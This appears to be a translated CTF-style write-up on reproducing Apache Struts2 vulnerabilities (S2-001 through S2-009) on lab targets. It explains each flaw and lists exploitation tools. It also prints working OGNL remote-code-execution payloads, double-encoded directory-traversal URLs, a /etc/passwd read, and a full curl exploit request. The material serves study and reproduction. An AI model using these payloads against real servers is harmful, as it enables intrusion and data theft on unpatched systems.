Cause of the Incident#
Familiarize yourself with the Struts2
vulnerability exploitation tools in the target environment.
Note: Simply using tools cannot deepen the understanding of vulnerabilities; familiarizing oneself with the principles of vulnerabilities is the key.
Tool Listing#
HatBoy
's Struts2-Scan
, taking a certain S2-001
target as an example:
Ghost Brother's struts2(CVE-2013-2251)
vulnerability detection tool (90sec.org), also taking a certain S2-001
target as an example:
Lucifer1993
's struts-scan
, running garbled on windows
, taking a certain S2-004
target as an example:
K8
team's K8_Struts2_EXP
, here taking a certain S2-005
target as an example:
The password for the K8
team's tools is one of k8gege
, k8team
, K8team
.
Tianrongxin's tool, here taking a certain S2-005
target as an example:
lz520520
's tool railgun
, here taking a certain target as an example:
The most commonly seen Srtuts2 Vulnerability Check Tool 2018 Version V2.0 by Anheng Emergency Response Center 20180824
, here taking a certain target as an example:
S2-001#
Vulnerability Reason:
This vulnerability occurs because when a user submits form data and validation fails, the backend will parse the previously submitted parameter values using the OGNL expression %{value} and then refill them into the corresponding form data. For example, on registration or login pages, after submission fails, the backend generally defaults to returning the previously submitted data. Since the backend uses %{value} to execute an OGNL expression parsing on the submitted data, it is possible to directly construct a Payload for command execution.
Normal appearance of the target:
Input %{1+1} in the password field, click login, and find that the error returned is parsed as 2, proving the existence of the vulnerability.
Get the Tomcat execution path:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
Get the Web path:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
Execute command:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
If the command has parameters: new java.lang.String[]{"cat","/etc/passwd"}
Get the flag
.
S2-004#
Directory Traversal Vulnerability
Vulnerability Introduction:
Struts2 Dispatcher Logic by Design allows serving certain static resources in the web application class path for the request URI, where the context-related path of the request URI starts with “/struts/”. The filterDispatcher (in 2.0) and defaultStaticContentLoader (in 2.1) have security vulnerabilities that allow attackers to use double-encoded URLs and relative paths to traverse the directory structure and download files outside the “static” content folder.
This indicates the presence of a file traversal vulnerability, where relative path traversal is done using ../../../, but requires double encoding, so ../ needs to be URL encoded twice to ..%252f.
Target practical operation:
According to the prompt, the key
is on the showcase.jsp
page, obtained through directory traversal:
URL/struts/..%252f..%252f..%252f..%252f..%252f..%252fshowcase.jsp
S2-005#
Remote Code Execution Vulnerability, Vulnerability ID: CVE-2010-1870
Affected Versions: 2.0.0 - 2.1.8.1
Principle (Reference Wu Hanqing's "White Hat Talks Web Security")
The origin of the s2-005 vulnerability comes from S2-003 (affected versions: below Struts 2.0.12). Struts2 will parse each HTTP parameter name as an OGNL statement for execution (which can be understood as Java code). OGNL expressions access Struts objects through #, and the Struts framework prevents security issues by filtering the # character. However, by using unicode encoding (\u0023) or octal (\43), the security restriction can be bypassed. For the S2-003 vulnerability, the official patched it by adding security configurations (prohibiting static method calls and class method executions, etc.), but the security configuration was bypassed, leading to the vulnerability again. Attackers can use OGNL expressions to enable these two options. The patch for S2-003 locked itself but left the key in the lock.
XWork
will parse the keys and values of GET
parameters into Java statements using OGNL
expressions, for example: user.address.city=Bishkek&user['favoriteDrink']=kumys
will be transformed into
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
Triggering the vulnerability exploits this point, combined with the OGNL sandbox bypass method, forming S2-003
. The official fix for 003
was to add a security mode (sandbox), while S2-005
disables the security mode in the OGNL expression, thus bypassing the fix. The overall process is as follows:
S2-003 uses \u0023 to bypass s2's defense against #
S2-003 later had security mode (sandbox) added by the official
S2-005 uses OGNL expressions to disable the sandbox and continue executing code
Target practical operation:
The interface is quite well designed:
No echo POC
:
action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
It can be roughly understood that in (aaa)(bbb), aaa acts as the OGNL expression string, and bbb acts as the root object of that expression. Therefore, if code execution is needed in the aaa position, it generally needs to be wrapped in quotes, while the bbb position can directly place Java statements. (aaa)(bbb)=true actually means aaa=true. However, how to understand it precisely still requires in-depth research and optimization.
The POC placed on tomcat8 returns 400. After research, it was found that characters \ and " cannot be directly placed in the path; they need to be urlencoded, and sending after encoding is fine. This POC has no echo.
I tried multiple times but still couldn't get it done. If I have the opportunity to encounter it again, I will try again; for now, I will use existing tools.
k8
's command execution:
S2-007#
Vulnerability Type: Remote Code Execution Vulnerability
Vulnerability Reason: When the validation rule -validation.xml is configured, if the type validation conversion fails, the backend will default to concatenate the user-submitted form values as a string, then execute an OGNL expression parsing and return it. To successfully exploit, it is only necessary to find a form field configured with a similar validation rule that causes a conversion error, allowing injection of any OGNL expression using a method similar to SQLi injection single quote concatenation. This generally appears in forms.
Affected Versions: 2.0.0 - 2.2.3
Target reproduction:
Input a non-numeric type in the age field and click login.
The value in the age box changes to 11, proving the existence of the vulnerability. The EXP for executing arbitrary code:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls ../').getInputStream())) + '
After executing the command, if you can't see clearly, you can use ctrl+U
to view the webpage source, and the final command is cat ../../../key.txt
to get the key
:
S2-008#
Vulnerability Type: Remote Code Execution Vulnerability
Affected Versions: 2.1.0 - 2.3.1
Vulnerability Principle:
S2-008 involves multiple vulnerabilities. Incorrect configuration of the Cookie interceptor can lead to execution of OGNL expressions. However, due to character restrictions on Cookie names in most web containers (such as Tomcat), some key characters cannot be used, making this point seem rather useless. Another rather useless point is that when the struts2 application is in devMode, there are multiple debugging interfaces that can directly view object information or execute commands. As Kxlzx mentioned, this situation is almost impossible in a production environment, making it seem quite useless. However, I believe it is not absolute; if hacked, it is possible to specifically deploy an application with debug mode enabled on the server as a backdoor. For example, in devMode, directly adding parameters ?debug=command&expression= will directly execute the following OGNL expression, thus allowing command execution (note escaping):
action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22[command]%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
Modifying the command within can yield the result file, which can be opened with Notepad for viewing.
Target reproduction:
Directly cat ../../../key.txt
to view (note that after executing each command, the cache needs to be cleared; it is recommended to use a new private window for each command execution):
S2-009#
Vulnerability Type: Remote Code Execution Vulnerability
Affected Versions: 2.1.0 - 2.3.1.1
Vulnerability Principle:
Struts2's fix for s2-003 was to prohibit the # character, so s2-005 bypassed this by using encoding \u0023 or \43; thus, Struts2's fix for s2-005 was to prohibit \ and other special symbols, preventing users from submitting backslashes.
However, if the current action accepts a parameter example, this parameter will enter the OGNL context. Therefore, we can place the OGNL expression in the example parameter and then execute it using /helloword.acton?example=&(example)('xxx')=1, thus bypassing the official defense against #, \ and other special characters.
poc
is as follows:
age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("[command]").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
It needs to be submitted using the POST
method.
Target reproduction:
The interface with the vulnerability is the fifth one: /ajax/example5.action
, using HackBar
to execute ls
with the POST
method:
If it cannot be executed successfully, then switch to burpsuite
:
After several attempts with no success, finally use the curl
command line tool to submit directly and save the result to a file:
curl -X POST "http://xxx.xxx.xxx.xxx:yyyyy/ajax/example5.action" -d "age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]" --output a.txt
Change the ls
command to cat key.txt
to get the flag
:
Summary#
None yet.
Reference Articles:
- vulhub vulnerability reproduction target
- Summary of Struts All Versions Vulnerability Exploitation
- Reflections on the Decade Triggered by the Famous RCE Vulnerability in Struts2
- Research on Struts2 Security Mechanisms We Have Done Over the Years from the Perspective of Versions
End of article. (Just kidding)